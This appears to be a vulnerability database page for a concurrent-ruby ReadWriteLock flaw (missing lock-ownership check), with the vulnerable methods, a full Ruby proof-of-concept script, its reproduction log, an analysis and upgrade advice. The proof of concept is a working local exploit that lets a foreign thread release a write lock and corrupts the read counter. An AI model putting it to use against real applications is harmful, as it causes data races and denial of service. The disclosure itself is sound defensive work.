Severity by source
CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:L and PR:L because exploitation requires executing code as a thread in the target process; I:H for write-exclusion bypass enabling data races; A:L for bounded single-lock DoS.
Primary rating from Vendor (https://github.com/ruby-concurrency/concurrent-ruby).
CVSS VectorVendor: https://github.com/ruby-concurrency/concurrent-ruby
Lifecycle Timeline
3DescriptionCVE.org
Summary
Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:
def release_write_lock
return true unless running_writer?
c = @Counter.update { |counter| counter - RUNNING_WRITER }
@ReadLock.broadcast
@WriteLock.signal if waiting_writers(c) > 0
true
endBecause ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lock unconditionally decrements the shared counter:
def release_read_lock
while true
c = @Counter.value
if @Counter.compare_and_set(c, c-1)
if waiting_writer?(c) && running_readers(c) == 1
@WriteLock.signal
end
break
end
end
true
endOn a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.
Reproduce
From the root of a concurrent-ruby checkout, run:
ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"
lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false
writer1 = Thread.new do
lock.acquire_write_lock
writer1_inside = true
events << :writer1_acquired
sleep 0.5
writer1_inside = false
lock.release_write_lock
events << :writer1_finished
end
events.pop
puts 'writer1_acquired=true'
intruder_result = nil
intruder = Thread.new do
intruder_result = lock.release_write_lock
end
intruder.join
puts "wrong_thread_release_write_lock_returned=#{intruder_result}"
writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
lock.acquire_write_lock
writer2_entered_while_writer1_inside = writer1_inside
lock.release_write_lock
end
writer2.join(0.25)
puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"
writer1.join
lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
lock2.acquire_read_lock
'acquired'
rescue => error
"#{error.class}: #{error.message}"
end
puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"
if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
puts 'result=NOT_REPRODUCED'
endExpected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1. - A subsequent read acquisition fails with
Concurrent::ResourceLimitError.
Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruptionImpact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.
Credit
Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))
AnalysisAI
Write-lock mutual exclusion in concurrent-ruby's ReadWriteLock is broken in versions prior to 1.3.7, allowing any thread with a reference to the lock object to prematurely release another thread's active write lock, enabling concurrent writers and data races on protected shared state. Additionally, calling release_read_lock without holding a read lock corrupts the internal atomic counter from 0 to -1, causing all subsequent read acquisitions to fail with Concurrent::ResourceLimitError. Both defects are confirmed reproducible via publicly available proof-of-concept code in the GitHub Security Advisory GHSA-6wx8-w4f5-wwcr; no CISA KEV listing exists, and exploitation is constrained to in-process thread scenarios.
Technical ContextAI
The affected component is Concurrent::ReadWriteLock from the concurrent-ruby gem (pkg:rubygems/concurrent-ruby), a widely-used Ruby concurrency library providing thread-safe abstractions. The lock uses a single atomic integer counter (@Counter) to encode combined state: a RUNNING_WRITER bit and a running-reader count. CWE-414 (Missing Lock Check) precisely describes the root cause: release_write_lock checks only whether running_writer?() returns true - confirming that some writer is active - but never records or validates which thread acquired the lock. Because thread ownership is not tracked, any thread with a reference to the lock can clear the RUNNING_WRITER bit, unblocking a second writer while the first is still executing. The release_read_lock method compounds this by unconditionally applying compare_and_set to decrement the counter without verifying the caller holds a read token; a counter of 0 becomes -1, which the maximum-reader boundary check subsequently misreads as a saturated reader count, causing Concurrent::ResourceLimitError on all future acquire_read_lock calls.
RemediationAI
Upgrade concurrent-ruby to version 1.3.7 or later, which is the vendor-released patch confirmed in the RubyGems advisory metadata. Run 'gem update concurrent-ruby' or update the Gemfile constraint to '>= 1.3.7' and re-bundle. The advisory is at https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr. If an immediate upgrade is not feasible, prefer the block-form API - with_write_lock and with_read_lock - which encapsulates acquire and release within the same lexical scope and eliminates the possibility of mismatched cross-thread calls; note this does not fix the underlying library defect, only reduces the probability of triggering it. As a further compensating control, audit all callsites using the manual acquire_write_lock / release_write_lock / release_read_lock methods to ensure release is always performed by the same thread that called acquire, enforced via a thread-local ownership token at the application layer. Plugin or multi-tenant architectures that allow untrusted code to reference shared lock objects should consider isolating lock instances per tenant to limit blast radius.
Same weakness CWE-414 – Missing Lock Check
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38811
GHSA-6wx8-w4f5-wwcr